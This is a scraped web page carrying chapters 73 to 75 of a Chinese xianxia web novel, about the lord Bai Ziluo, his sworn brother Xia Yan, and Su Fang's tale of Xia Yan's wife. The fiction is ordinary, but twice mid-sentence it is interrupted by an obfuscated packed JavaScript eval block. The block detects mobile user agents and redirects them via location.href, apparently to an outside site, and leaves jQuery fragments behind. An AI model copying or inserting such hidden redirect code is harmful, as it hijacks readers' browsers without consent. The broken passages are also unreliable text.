传说中罕见的复合法术,如“水火既济”、“木土化合”、“金火交融”,也能通过“海纳百川诀”实现。 总之熟练掌握此法便可调和五行阴阳,制造出包含万象的终极力量。既能拥有强大的攻击力,又可实现稳固的防御力,还能进行治疗、促长等操作,可谓随心所欲,无所不能。 我有神木牌,修炼此功得天独厚。秦不羁没说错,我的好运无人能及,逢凶化吉,遇难成祥,心有所期皆顺遂,福运如潮日夜流! 73.万象圣尊 归墟的夏季来得比十州早,午后骄阳倾洒,七曜城披着金缕华裳,尽显富丽繁荣气象。 城中凡人市井与修士居所相得益彰,热闹熙攘。 街市两旁,店铺鳞次栉比。十道城门,百姓往来频繁。干道小巷,人车奔忙不休。码头商馆,货物堆积如山。茶楼饭店,到处宾客满座。河岸园林,遍是赏景游人。 街头时有追逐嬉戏的孩童,簪花游逛的青年,欢声笑语随处可见,充满祥和的烟火气息。 城市上空常见御风、御剑或乘坐各类坐骑、飞行法器的修士驰骋纵横。 修士坊市内的法器行、资材店、丹药馆、灵宠铺货品齐全,交易火爆。许多来自异地的修士匿名易容前来做买卖,当地人也不过问其身份来历。 万象圣尊有令,七曜城乃包容开放之地,修士凡人都可在此安身立命,享受太平。来者皆是客,只要遵守城中规矩,便可畅行无阻,自由贸易。 这位开明大度的领袖改变了归墟的荒凉面貌,使之成为逃荒避难者的乐土,造就了昌盛宏伟的七曜城。凡人修士在这里和谐共生,凡人子弟通过资质考核便可踏入修真界。 这些幸运儿满怀对万象圣尊的感恩和崇敬,将其视作高悬天际,驱散黑暗的太阳。 他们的忠诚并非源自对力量的敬畏,实实在在为白子落的人格魅力所折服。 千万年来凡人的命运套着层层枷锁,修仙是绝大多数人终生难以企及的奢望。万象圣尊打破了阶层壁垒,给了凡人们自我拯救的机会。 他那悲天悯人的胸怀和不拘陈规的英明让世人看到重塑世界秩序的希望,成为他的追随者是每个归墟子民最大的荣幸。 为了这份荣耀,他们甘愿倾尽所有来守护圣尊恩赐的家园,让七曜城的光辉永远照耀这片土地。 沿着城市中轴线的神武大街走到尽头便是白子落居住的内城。 穿过由整块天外陨铁铸就的巍峨城门,踏入内城的瞬间便脱离外城的喧嚣进入一个宁静典雅的空间。 这里的建筑错落有致,原料多是罕见的天材地宝。 宫殿的门窗上用宝石镶嵌了很多异形符文,不仅是装饰,也是守护此地的强大禁制,即使在白昼也闪烁着灵动的幽光。 殿阁间点缀多个风格迥异的花园,栽种着来自各地的奇花异草,枝叶交错,形成五彩斑斓的花海。 一条清澈的灵泉弯弯曲曲串联起这些花海,流水随着晨昏气候的变迁模拟琴瑟、琵琶、钟磬之声,演奏白子落亲谱的乐章。 身着华服的侍者脚步轻盈地往来于城中,脸上带着平和的微笑,举手投足流露出高阶修士的优雅从容。 修为至少到了化境以上才有资格进入内城侍奉万象圣尊,这是光宗耀祖的殊荣,更是飞黄腾达的机遇。 白子落的寝宫位于内城南侧,寝宫东边是他最常驾幸的书房“忆兰斋”。 书房的门窗家具都由温润的沉水木打造而成,终日浮动淡雅暗香,仿若将人引入超凡脱俗的清幽之境。 此刻白子落正站在宽大的书桌前练习书法,桌上笔墨纸砚件件是稀世奇珍。 用灵犀角、朱雀羽雕琢制做的毫笔、多种灵植精华提炼的墨锭、由金蚕丝和云霞萃取而成,薄如蝉翼却又坚韧无比的画纸……只有笔力精湛的书法名家才配使用。 白子落正是当之无愧的书画大师,只见他右手轻轻握笔,手腕轻旋,笔尖轻重有致地在纸张上游走,每一笔落下都蕴含绝妙的力度和韵律,透着内敛、专注的执着。 醒目的墨痕在纸上构建出一个个苍劲有力的字迹,点如坠石,力透纸背,横若卧云,舒展飘逸。钩似长空之初月,竖若万古之枯藤……行云流水,怎一个妙字了得。 一名年轻俏丽的侍女手捧玉壶悄然侍立于桌边,适时添水研墨。她眼帘低垂,看似专心侍奉,眼角余光却不断瞟向白子落。 名贵的墨汁不如君上的青丝乌黑柔亮,脑后一缕被玉簪随意挽成发髻,余下的披散垂落,衬得他的脸庞比宣纸更洁白细腻,且平添了几分温柔。 君上是她见过最美貌的男子,比作人中龙凤,画里天仙尤嫌不够。五官精致到让她这个大众公认的美女自愧弗如,时常情不自禁地瞩目赞叹。 今天他修长的身姿裹着一袭淡雅的白绫长袍,衣袂飘飘间好似不食人间烟火。运笔时手臂流畅紧实的肌肉线条在衣料下时隐时现,将力量与优雅完美融合,无比潇洒迷人。 侍女芳心不受控制地加速跳动,面上泛起一抹胭脂色,暗道自己何其幸运能被选入君上的寝宫,侍奉如此高贵伟大的领袖。 初来时只觉光荣,后来亲眼目睹了君上的风采,倾慕之情便如夏蝉日夜长鸣。 她明白这份迷恋有害无益,也心知同她一样痴心妄想的女子不计其数,绝不能鲁莽僭越冒犯君上。于是只敢对花月叹息,万分珍惜与他共处的时光,像这般静静看着他挥毫泼墨便是人生至乐。 白子落写完最后一笔,抬眸看向她,和蔼发问:“你来说说,本座今天这字写得如何?” 侍女心脏狂跳,慌乱抬头,目光触及他温和的眼神,赶紧避开,促刺道:“君上的墨宝岂是奴婢能妄加点评的。” 白子落莞尔:“莫要拘谨,本座想听真实评价,你大可实话实说。” 春风般的微笑令侍女心旌摇荡,努力平复着内心的波澜,认真观赏那些字,鼓起勇气说:“君上的字每一笔都似有千钧之力,又不失灵动飘逸,像精美的山水画卷,让人仿佛置身高山大海之间,感受天地的广阔雄浑。奴婢虽不懂书法,也知道您于此道上的功力亦是无人能及的。” 白子落似笑非笑地转眸,指着对面屏风上的诗词问:“你看看那几行字,与本座的字相比,孰优孰劣?” 词曰:“幻域奇荒,云雾绕,危峰千叠。抬望眼,剑光明灭,啸歌凌冽。怪石横空如兽舞,灵泉漱玉惊涛裂。踏险途,携手破迷津,豪情切。仙踪隐,幽谷现,真言出,心魔灭。任风云变幻,志坚如铁。斩尽邪祟寻大道,笑谈生死朝天阙。待归来,逸兴满山川,星辰悦。” 侍女来的第一天就注意到这首词了,最初吸引她的不是词的内容,而是那鬼斧神工般的字迹。 那墨痕犹如沉稳刚健的游龙,起笔处似有开天辟地的气势,转折时又似江河自然流畅,信手拈来,毫无滞碍。撇捺之间有鹰击长空的洒脱,垂柳拂风的轻盈。笔划的粗细、长短、疏密都搭配得天衣无缝,犹如道法自然,返璞归真。 侍女见过的所有书法作品都不能和这段字迹比美,它蕴含一种能跨越时空,直击人心的力量,让人感觉到自身的渺小,宇宙的宏大,恰似来自天界的神谕。 她看向屏风,心下惶恐。 她多次侍奉白子落写字,每当对他的书法心悦诚服时,只消看一眼那首词,立马便觉得前者美中有不足,而后者毫无缺憾,浑若天成。 可是这会儿哪能说实话呢? 她红着脸,小心回复:“君上的书法冠绝古今,这屏风上的字虽好,但细细品来太过张扬,初看惊艳,却不如您的字耐人寻味。” 她运用灵巧心思,尽力将话编得合情合理。 “君上的笔触里含着慈悲气度,您以一人之力庇护归墟亿万子民,这份胸怀已融入您的笔墨中,在奴婢看来是至高无上的美。” 她暗中观察白子落的神色,见他平静如常,自觉能顺利过关。 白子落凝神片刻,轻轻摇着头,开口带出一丝怅惋:“本座原以为你为人诚实,能如实道出真实想法,结果你也同其他人一样,只会阿谀奉承。” 侍女惊惶跪地,想辩解,被他抬手制止。 白子落缓缓踱步到屏风前,目光轻柔抚过那一行行文字,似在缅怀故人。 “你应该看得出来,这字迹之精妙有如神来之笔,真仙方能有此造诣,本座纵然再苦练千年也达不到这种境界。” 侍女脸上血色尽失,仓皇跪地忏悔:“君上恕罪,奴婢知道错了!” 言未罢已是花容惨淡,珠泪涟涟。 白子落风轻云淡缓缓说道:“本座不喜欢一味溜须拍马,违心迎合的人,你以后不必来了。” “君上!求君上别赶奴婢走!” 侍女骇然无措,登时失声痛哭,咚咚碰头哀求:“奴婢再不敢撒谎,求您宽恕奴婢!” 她没用灵力护体,娇嫩的额头立刻皮破血流。见白子落不为所动,她感觉被全天下遗弃,走投无路,万念俱灰,凄恻哭喊:“君上若执意赶奴婢走,奴婢断无颜苟活,唯有一死以明心志!” 她断然掌击心脉,白子落清啸一声:“放肆。”,隔空定住她的身体,从容走到近处俯身注视她。 他的眼中没有一丝戾气,依旧柔情似水。可这温柔却像尖刀刺入侍女心房,加深她的负罪感。 她深深低头,好像内心所有邪念和肮脏的欲望都已纤毫毕现地被他识破,羞愧、懊悔、自责压在肩头,比山重,比火热,她 无地自容,泪水决堤,如丧考妣地哀哭着。 忽然,白子落温和沉稳地声音清泉般流入她焦灼的心田。 “不许再这样自轻自贱。” 一股柔和的灵力治愈了她的伤势,轻轻将她扶起,她惊讶抬头,沐浴在他神圣慈爱的光辉中。 “本座没有厌弃你,是不愿让你这么聪明的孩子沾染那些虚浮习气。” 这份温柔包容似救命稻草,将侍女的崇拜爱戴之情抬升到新的顶峰,激动哽咽道:“奴婢对不起君上,求君上责罚。” 从这一刻起,只需白子落一声令下,她甘愿为他死一千次一万次。 白子落笑道:“你几时见本座为这种小事罚过人?本座今早见忘尘苑的夏海棠开得甚好,你折几枝替本座送去给夫人,代本座问候她和芊芊。” 他的妻子名叫慕容兰若,名号“万花夫人”,是曾经盛极一时的正道门派“离尘教”的圣女,与白子落结缡已久。 千年前夫妇俩不知怎的闹了嫌隙,慕容兰若就此与丈夫分居,独自住在南冥海中的独孤岛上,生下女儿白芊芊后仍未回到白子落身边。 作为白子落的掌上明珠,白芊芊出生后一直由父亲抚养,待到成年便轮流陪伴双亲,在七曜城住七八年再去独孤岛呆十来年,迄今为止跟着母亲的时间比较久。 听白子落的旧部说,慕容夫人对丈夫很无情,千年来不管不问,终日只穿黑白二色的粗布衣服,故意把自己搞成寡妇造型诅咒白子落。 而白子落仍对其一往情深,每月都会遣人嘘寒问暖,运送物资。若是得到什么稀罕的宝物,必先送去独孤岛,夫人不要或者挑剩下的他才留作己用。一年当中,无论事务多么庞杂棘手,他都会抽空去独孤岛探亲,哪怕每次到了那边独守空房,备受冷落,他仍痴心不改。 “忆兰斋”也是因为他经常在此思念妻子才被如此命名的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15034163|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲信部从都为主公抱不平,侍女亦是,早想看看慕容夫人有多大的魅力,能让天底下最高贵优秀的男子跪在尘埃里乞爱。 等她告退,白子落坐到书桌前,端详自己的书法作品,美目中隐隐闪动不甘,一把抓起那堪称杰作的文稿撕毁焚化。 灰烬在空中悠悠打着旋儿,怀着冤屈缓缓飘降。 白子落的视线穿过零落的飞灰凝视屏风上的银钩铁画,那个潇洒俊逸,意气风发的美少年仿佛又站在了他面前,脸上洋溢着光芒四射的自信笑容。 他永远是这副模样,即便是在白子落的想象中也无法让其展露卑微惶恐的神态,就像越不过的高山,追不上的彩云。 挫败感令白子落些许郁闷,准备召唤古怀熹,询问调查进度。 一阵突如其来的困倦悄然袭来,像一双巨大的黑色翅膀将他的神识牢牢包裹住。 几百年不曾有过这种感觉,他立刻明白某个修为高深的强人正对他施展梦引术。 能突破内城的重重禁制,对他有效施术的人寥寥无几,此刻也只有那个人可能这么做。 白子落暗暗惊喜,遍寻不着,对方竟主动找上门来,他怎可拒绝这宝贵的拜访?于是任由意识被那股强大的法力拉扯进入对方营造的梦境之中。 修竹成片,翠色盈眶,和风过出,竹叶奏响古韵。日光穿林,斑驳碎影如金鳞跃动。地面落叶厚软如毯,近处小溪蜿蜒,溪水清冽如镜,五彩卵石,锦鲤水草掩映其间,动静相宜,愈显空灵雅致。 这是他们相识的竹林,还真是个念旧的人啊。 他迈步走向那熟悉的身影。 夏炎一点没变,还是他记忆中的样子,丝毫不见大灾大难后的阴暗扭曲,仿佛世间万物都无法动摇他的意志,毁掉他的绝代风华。 白子落喜色盈面地加快脚步,上前热烈拥抱他。 “义兄,总算见到你了!” 夏炎克制住抗拒,轻轻拍了拍他的后背以示回应。 白子落面对面打量他,态度比和同胞骨肉重逢更亲热激动,满含关怀地表衷肠:“当日义兄与翡翠城一同消失,小弟遍寻不着,好生焦急。这一千年来时刻悬心,昼夜忧愤,若非家业拖累,早去和离恨天拼命了。” 夏炎听封无牙说,他遇害后白子落确曾两度协同他的挚友们讨伐离恨天,每次都身先士卒,浴血奋战,遭受了惨痛失败后才顶不住压力,宣布与他决裂,但过往情深义重的付出足以为其证明心迹。。 他因为苏芳的事和白子落闹过嫌隙,几百年间羞于联系,如今更觉得欠了对方太多人情债,若非逼不得已,真没脸见他。 白子落不无责怪地说:“小弟还是从离恨天那帮宵小口中得知义兄脱难的消息。这一年多你为何不来找我?难道还在为当年之事介怀?或是疑心小弟对你的情义?” 夏炎越发愧疚,话音略显低沉:“贤弟真费心了。我正被多方通缉,这些年给亲友们添了太多麻烦,委实不愿再连累任何人。如今你将归墟治理得井井有条,担负着万众的生计与安危,愚兄怎能置你于危境之中?” 他神色磊落,说得全是肺腑之言。 白子落摇头申辩:“义兄未免太看轻小弟了,白子落虽不才,也并非见利忘义,贪生怕死之辈。这半生努力奋斗皆是为了实现与义兄的理想,和你并肩联手对抗毗沙,推翻暴政,匡扶天道。” 他轻轻挥手,将那扇留有夏炎笔墨的屏风摄入梦境。 “义兄当年赠送的墨宝,小弟至今珍藏。” 白子落深情注视屏风,语气里充满怀念。 “你还记得当年我们结伴去苍峦秘境探险的经过吗?那次若非义兄英勇搭救,小弟早已命归黄泉。我们一道在那上古神迹里参悟功法,一起突破到了极境,就此从名不见经传的后辈开始了人生飞跃。义兄当时立下的豪言壮语,小弟终生铭记,将其遵为人生指南,矢志不渝地奉行着。” 他转向夏炎,双手握住他的手,满脸不容置疑的恳切与期待。 “义兄,毗沙老贼正在闭关,这是数百年才有的机遇。归墟实力已十分雄厚,小弟麾下人才济济,兵强马壮,你若肯来七曜城,我兄弟联手必定所向披靡。何愁不能实现抱负?” 他微微用力,像在向夏炎传递决心。 夏炎被白子落的热忱打动,心中暖流纷涌,后悔曾对他有过猜忌,和对方的心胸相比,他还是太小渺了。 可是岁月与磨难铸就的沉稳让他迅速冷静,理性权衡局势后,轻轻抽出被白子落握住的手,温和而坚定地婉拒:“贤弟的情谊愚兄感铭五内。但我功力未复,只会成为你的累赘。你与离恨天议和多年,本可偏安一隅,平稳发展。我若加入势必打破平衡,将无数人卷入争端,我不能让你冒风险,也不想承担这样的罪过。” 白子落还想争取,他抢先说:“贤弟的好意愚兄心领了,待我寻回灵骨,恢复法力,定来与你从长计议。” 白子落知道没人能更改夏炎做出的决定,微露失望后换上理解的笑容。 “小弟明白了,义兄放心,七曜城永远是你的后盾。无论何时,只要你有需要,小弟都会全力以赴。” 夏炎听了这句话,五味杂陈地赧然开口:“不瞒贤弟,愚兄今日确是来求助的。” “哦?义兄有何难事?小弟定为你分忧!” “……你可知晓令师姐的下落……能不能替我联系她?” 74.楚幽荨 白子落有些诧异,委婉询问:“义兄何故找她呢?” 夏炎来时便做好丢脸的准备,强忍尴尬道:“适才我与她在北疆大漠偶遇起了冲突,她一气之下掳走了我一个小辈。我找不着她,烦劳贤弟代为请求她放人,实在不行也别伤了那孩子。” 白子落猜到那小辈指代冉彤,面露难色道:“师姐萍踪浪迹,从不主动与我来往。我也不知道该去哪里寻她。” 他根据夏炎的神色转话道:“不过义兄如此着急,小弟说不得调派一切手段替你寻人,三日内必有回音。” 夏炎诚恳致谢,歉意道:“令师姐的遭遇因我而起,我心里始终抱愧,她这样蹉跎漂泊终难善了,还望贤弟多加劝解,为她争取一个好归宿。” 想起苏芳早年的风采,他由衷惋惜。这惋惜能抵消她所有的误解和报复,至今盼望查明骗局,助她重获新生。 白子落幽幽愁叹:“小弟明白义兄的心情,只是师姐遭的罪太多,心中执念太深,任我苦口婆心磨穿嘴皮,她是半点都听不进去。” 顿了顿,脸上呈现些许无奈与疲惫,继续说:“自从师姐神志失常,在外面接连不断地闯祸。那些被她杀了至亲,毁了门派的仇家,哪一个不恨她入骨。每次都是我背后运作,替她善后,耗费的精力,结下的梁子,欠下的人情数都数不清。让她名列‘十柱石’也是为了保护她,好让外人知道有事全冲我白子落来。唉,师姐与我青梅竹马,是我仅存的亲人,我若不管她还是人吗?对她的付出又岂止劝说这么简单。” 话里隐隐含着讽怨,似在责怪夏炎误会他不关心苏芳。 夏炎想辩白,又怕是自己过度解读了他的话,只得沉默。 白子落自嘲道:“事到如今说这些又有何用?师姐掳走了义兄的小辈,我自会设法营救,可是师姐的脾气你我都清楚,她铁了心要做什么没人拦得住。若是已拿那孩子泄愤……不知义兄又当如何?” 这正是夏炎最忌讳,最不愿触及的假设。 一想到冉彤或已惨遭杀害,他两千多年修行练就的沉稳心境便难以抑制地泛起骇浪。 那样鲜活美好的生命若因他终结,他该如何面对这一残酷事实?又不能因此仇恨苏芳,因为一切的根源都是他引发的。 他压抑着焦虑,再次恳求白子落:“贤弟,愚兄只求你这一次,请务必帮我搭救那丫头。” 白子落终于如愿见到他慌乱的神情,好奇探究:“能让义兄如此重视,那孩子可有什么独特之处?” 夏炎摇头:“我见她身世可怜,又因我遇险,若有三长两短,我心何安?” 白子落轻笑两声,调侃:“义兄还是这么慈悲心肠。放心,小弟自当竭尽全力。” 夏炎感激地抱拳行礼:“多谢贤弟,既如此,愚兄便不打扰了,告辞。” “义兄留步!” 白子落叫住他,重新真挚深情地凝望他,叮嘱:“义兄今后有任何需要都可来找我,千万别再拿我当外人。” 夏炎觉得能与这有情有义的君子结拜是他此生一大幸事,动容地点了点头,电闪而去。 白子落嘴角翘起微妙的弧度,目光也变得意味深长,抬手轻轻打个响指,竹林灰飞烟灭。 冉彤练功到天亮,法阵忽然解除,苏芳在远处唤她。 她连忙跑过去,见女人正坐在大树枝上举着镜子细致描眉。 她今天的穿戴又比昨天用心,上身是橘红鲛绡缝制的大袖,上绣银丝团花图案。 内搭杏色对襟长衫,面料上排布贵气的如意暗纹。 腰间系着龙凤金玉带,两端垂着双鱼戏莲玉佩。 裙子是五彩丝线编织成的,裙摆上花鸟相映,华丽异常。 头上云鬓高耸,簪着七宝纯金孔雀发钗,翠羽鲜亮,喙衔明珠。发髻周围插着纯金垒丝花钗,点缀珍珠宝石。 这富贵艳丽已极的装束放在她身上半点不庸俗,宛若仙宫神女美不可言。 冉彤瞠目惊叹,心想自己若是男子定会为之倾倒。这样的绝代佳人却冤孽缠身,疯疯癫癫凄苦半生,真暴殄天物。 又想她定是为了见夏炎才用心修饰,可叹老鬼看到她如临大敌,哪有心思观赏? 苏芳的视线从镜子移到她身上,或许是所见人像容色悬殊太大,她看到冉彤便来气。 “你找个镜子瞧瞧你那发型和衣服搭配吗?上次在襄北也见你梳这个头,你是不是只会这一种样式?” 冉彤的确只掌握了两种发髻的梳理方法。以前在家,伯母、堂姐和师姐们觉得她可爱,都抢着帮她梳头,她便懒得学。 “滚过来!” “是!” 她在苏芳粗鲁喝令下跳到她下方矮一点的树枝上,见女人指了指跟前的树干,方洞洞属属坐上去,惊疑猜测:她莫非要帮我梳头? 苏芳果真揪住她的头发,梳齿在她发间熟练穿梭起来。 “你这丫头真懒到家了,连女子基本的梳洗技能都不学,是不是从来不照镜子,才能忍受自己邋里邋遢的德性?姓夏的也看得下去,整天领着个丑丫头招摇过市,他还挺得意是不是?” 冉彤不敢顶嘴,又不甘听任贬低,便在被她扯疼头皮时夸张叫唤。 “不许鬼叫!” 苏芳吼她一嗓子,下手动作轻柔不少,嘴上依旧不饶人。 “一看你就是被娇惯大的,这点痛都受不了,能有什么出息?” 冉彤忍耐着由她折腾,直到苏芳见不夜珠发簪是坏的,当成破烂货随手往树下一丢,她才惊呼起来:“这个不能扔!” 她隔空捡回发簪,紧紧握住。 苏芳看她这么爱惜,以为是夏炎送的,却听她说是表哥所赠。 “你被云家害得这么惨,还舍不得那负心汉?老娘回头就去杀了他。” 冉彤知道她说得出做得到,急忙替云宿雨辩护:“表哥不是负心汉,他救过晚辈好几次,也是被逼无奈的。”,闷了片刻,坦陈心意:“晚辈也没再恋着他,心里确实还有不舍,但怀念的只是曾经那些美好的记忆。” 类似经历使得苏芳能清晰理解她的感受,骂了两句,继续帮她梳头,不久完成,将镜子塞给她。 冉彤接过自照,愁眉顿时挑高,脸上乐开了花。 苏芳将她的头发聚拢盘在头顶,用三股辫子巧妙缠绕,穿插精美的丝带和花簪。几缕碎发从鬓角垂落,恰到好处修饰了她的脸型,让她幼态的圆脸多了几许温婉柔美。 “苏前辈您太厉害了,再丑的女人经您打扮都能变漂亮!” 她可劲儿奉承,真佩服她有这么多变美的巧思,自己虽然很聪明,却没信心在这方面赶上她。 转念寻思,苏芳如此用心妆扮她,定是想让夏炎看看她多会照顾孩子。这个横扫千军的大修士内心深处仍是个渴望爱人欣赏的小女人,真可怜又可爱。 苏芳命她转过身,盯着她来回端详,仍不太满意,不怪自己手艺不到家,是这丫头胚子太差。 “你爹娘都生得挺俊,你怎么一点不像他们?看看这脸面身材,哪儿哪儿都不对,你学过换形诀没?不会老娘教你,把自己变好看点,省得成天碍眼。” 冉彤不在意外人骂她丑,但不能说她不像爹娘,隐蔽还嘴:“干爹教了晚辈换形诀,可他不许晚辈用来美容,上次晚辈变脸给他看,被他好一顿训斥,跟他立过保证再也不敢了。” 苏芳印象里夏炎没这么吹毛求疵,狐疑问:“你变成什么样惹他生气了?变给老娘瞧瞧。” 冉彤心念急转,估摸着可以趁机调查夏炎的过往,她故作为难,待苏芳连续催逼后变成夏炎妻子的模样。 苏芳表情僵住,像被人踢中最薄弱的要害,死死瞪着她,重现疯狮般的威慑感。 “你是不是故意变成这样刺激老娘?” 她以为冉彤是凭她的记忆变出这张脸的。 冉彤发毛倒竖,摇头摆手辩解:“前辈误会了,晚辈之前真是误打误撞变成这个样子。昨天看过您的记忆才知道这是干爹的夫人。您救过晚辈,晚辈的小命也还攥在您手里,晚辈又不急着去投胎,怎会胡乱激怒您?” 苏芳冷酷审视她,没找到说谎的痕迹,怒意慢慢冷却,紧绷的身体逐渐放松。 冉彤从她的沉默中看出犹豫和挣扎,紧张静待她的反应。 良久,苏芳生硬发问:“夏炎有没有告诉你他是怎么落难的?” 冉彤不想把事情复杂化,隐瞒《云影仙踪记》一说,摇头道:“干爹从不跟晚辈说他的事,也不许晚辈问。苏前辈,您知道其中缘由吗?” 苏芳蹙眉:“老娘跟他没来往,如何得知?但事后听很多人说他是被他老婆出卖的,那女人在他失踪后便不知去向,估计被离恨天藏起来了。” 她感知到冉彤的窥探欲,主动说明:“你那位干娘名叫楚幽荨,曾是无极剑宗的大小姐,这些你也不知道吧?” 冉彤使劲摇头,小心问:“前辈能告诉我吗?” 苏芳冷嗤:“又不是啥了不得的秘密,姓夏的还藏着掖着,估计是怕你笑话他眼光差,谁让他找了那样的老婆。” 她对楚幽荨嫉意满满,自己苦求不得的男人被对方轻松俘获,无论在情感还是自尊上都对她造成了沉重打击,是她一辈子不能释怀的假想敌。 一千多年前无极剑宗是人界最强的剑修门派,楚幽荨是时任掌门楚天浩的独女,天资不凡,更以美貌著称,当时只有离恨天瑶光殿主事玉玲珑能和她媲美。 冉彤分辨着苏芳的不屑,听到这儿插嘴:“会不会言过其实了?晚辈觉得您比她好看。” 苏芳叫她少拍马屁,表情却明显很受用,自负道:“老娘比她年长上千岁,修为也比她高得多,何须同她比美?” “对对,您样样都强过她,若让晚辈选,一定让您做晚辈的干娘。” “你选有屁用,越说你还越放肆,再多话老娘就把你的嘴缝起来!” 冉彤赶紧捂住嘴巴,怯生生点头。 没她打断,苏芳的讲述便流畅多了。 当时夏炎被离恨天视作反贼,联合各大宗门轮番讨伐他。 那年无极剑宗领命出征,楚幽荨也随父兄参战,她不过化境修为,根本派不上用场,交战中失手被擒。 楚天浩想尽办法救女儿,夏炎也同意交换俘虏。谁知事到临头,楚幽荨不愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037857|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回家,坚决留在敌人身边侍奉。 “那两个人不知怎的相互看对了眼,女的非他不嫁,男的……哼,据说姓夏的起初还有顾虑,怕耽误了楚幽荨,仍想送她回家。可是离恨天却在这节骨眼上怀疑无极剑宗勾结反贼,故意将掌门之女献去投诚。楚天浩被逼自尽,无极剑宗宣布楚幽荨为叛徒。发生这种变故,那女人自然无家可归,无依无靠。姓夏的本就爱煞了她,更因此愧疚怜惜,力排众议和她结为道侣。” 婚后二人夫唱妇随,恩爱无比,此后的三百年里都是众所周知的神仙眷侣。 意外来得很突然,苏芳刚获悉夏炎要和楚幽荨在翡翠城补办婚礼的消息后不久,离恨天便对外宣布已剿灭叛乱,诛杀贼首。 “等我赶到,整个翡翠城都消失了,我知道是离恨天搞鬼,却始终找不到夏炎。据说楚幽荨被离恨天带走,无极剑宗则宣布解散,楚家人一夜间集体失踪,再也没人见过他们。” 冉彤等苏芳说完,结合《云影仙踪记》的内容,大胆提出见解:“这事会不会一开始就是个阴谋?那楚幽荨原本就是离恨天派去勾引加害干爹的。” 紫烟散人是当年的知情者,透露的信息几乎都与事实吻合。离恨天竟花了整整三百年布置阴谋迫害夏炎,这是何等的处心积虑。 而夏炎被欺骗了足足三百年,所受的伤害之深叫人不忍设想。 老鬼那么温柔体贴,对待心爱的人必定掏心掏肺,关怀备至。而拥有才貌双全,善体人意的丈夫,对女人而言亦是最大的美事。就算那楚幽荨是离恨天的爪牙,三百年朝夕相伴,是块石头也被焐热了,她怎忍心对这样一个全心全意深爱自己的人下毒手? 冉彤非常难过,为夏炎深感不值,对离恨天的厌恶越发强烈。 苏芳斜睨着她:“你倒挺会分析的,是有这种可能吧,以后姓夏的若跟你说起这事,记得也这么回他,老娘倒要看看他是何反应。” 冉彤腹诽:“要问你自己问,我可不想被你当枪使。” 她娴熟地扮演两面派,堆笑请示:“前辈,我们什么时候去见干爹呢?” 苏芳扶了扶脑后的发饰,起身说:“这便出发吧,姓夏的估计会去灵樾森找封老怪,老娘用缩地术带你去。” “谢谢前辈,就知道您心疼小辈!” “呸!老娘是怕弄皱这身行头。” 冉彤跟随苏芳启程,没走几步苏芳便停下来,拧着眉梢瞵耽她。 冉彤提防她疯病发作,翼翼问:“前辈怎么了?” 苏芳无名火呼呼上窜,数落:“你走路怎么这个姿势?一蹦三扑腾,跟老鼠兔子似的,寒不寒碜?” 冉彤傻笑挠头,暗道谁若摊上这样挑剔的妈,还不被琐碎死。 苏芳加紧责备:“人丑就全靠气质体态弥补,姓夏的不是最注重仪态吗?怎么一点不教你,真是个没责任心的爹!” 她拍打冉彤的背和腰,矫正她的站姿,又亲自示范如何走路。 “看好了,走路时挺胸抬头,肩膀自然下垂,脚步要轻,膝盖并拢,脚尖呈一条直线,这样才是女孩子该有的韵味。” 冉彤是世家小姐,自小学习礼仪,平时不上心罢了,真要拿出派头还是似模似样的,跟着苏芳走了几步,挺像个大家闺秀。 苏芳看她资质还行,脸色和缓了一些,偶然发现从某个角度看过去,这丫头的身影有些眼熟。 “别说,你端端正正走路时侧影真跟楚幽荨有几分挂相,姓夏的多半就是为这个认你做女儿的。” 冉彤觉得这话的侮辱性超过她前面所有谩骂,忍怒反驳:“晚辈是丑八怪,如何比得上天下第一的大美女,可不敢高攀人家。” 苏芳听出她讨厌楚幽荨,便不计较她无礼,笑问:“你干爹要是找着你干娘,你愿意他俩和好吗?” 冉彤嘟哝:“又蠢又贱的人才会对背叛过自己的人恋恋不忘,干爹才不会呢。” 她失言犯了苏芳禁忌,被揪住撕嘴,正惊声求饶,苏芳陡然扭头甩出一发闪电,劈断一棵三人合抱的大树。 树上跳下个白发童颜的花衣老头儿,冉彤认出是“瞒天过海”王霸。 “大姐手下留情!” 王霸缩手缩脚猴子似的跑到苏芳跟前,笑得见牙不见眼,借机瞟了瞟冉彤,惊道:“冉丫头,怎么是你呀?” 冉彤瞧出他在演戏,明显已经暗中观察她们一阵子了。 苏芳松开她,厌烦地质问王霸:“王八蛋,你干嘛跟踪老娘?” 王霸忙摇头:“小弟哪敢冒犯您呀,是奉君上之命前来传话的。” “有屁快放。” “是为了万岁那孩子,他的病又凶险了。古二哥联合我们几个帮他洗筋伐髓,可老六那没义气的总不松口。秦三哥去求君上,君上说老六怕您,让您出面劝劝他。” 苏芳像踩到狗屎,暴躁道:“这点小事都要使唤老娘,当老娘是他的跑腿丫鬟呢?老娘非骂他几句不可!” 她凌空画符布下联络阵,冉彤兴奋得像一只即将去拜访巨人国的小蚂蚁,双手握拳,紧盯法阵。 就要见到大名鼎鼎的万象圣尊了,如今的他会是什么模样呢? 75.觐见 冉彤通过映真镜的威力认识到白子落的强大,对其兴趣浓厚,准备好好瞻仰这位伟人的风采。 苏芳念咒启动法阵,耀目的红光搭起一座三角形屏障,稍后一个颀长的身影闪现其中。 冉彤见白子落身穿一件绣满繁复金丝云纹的玄色长袍,周身环绕着不怒自威的气场。 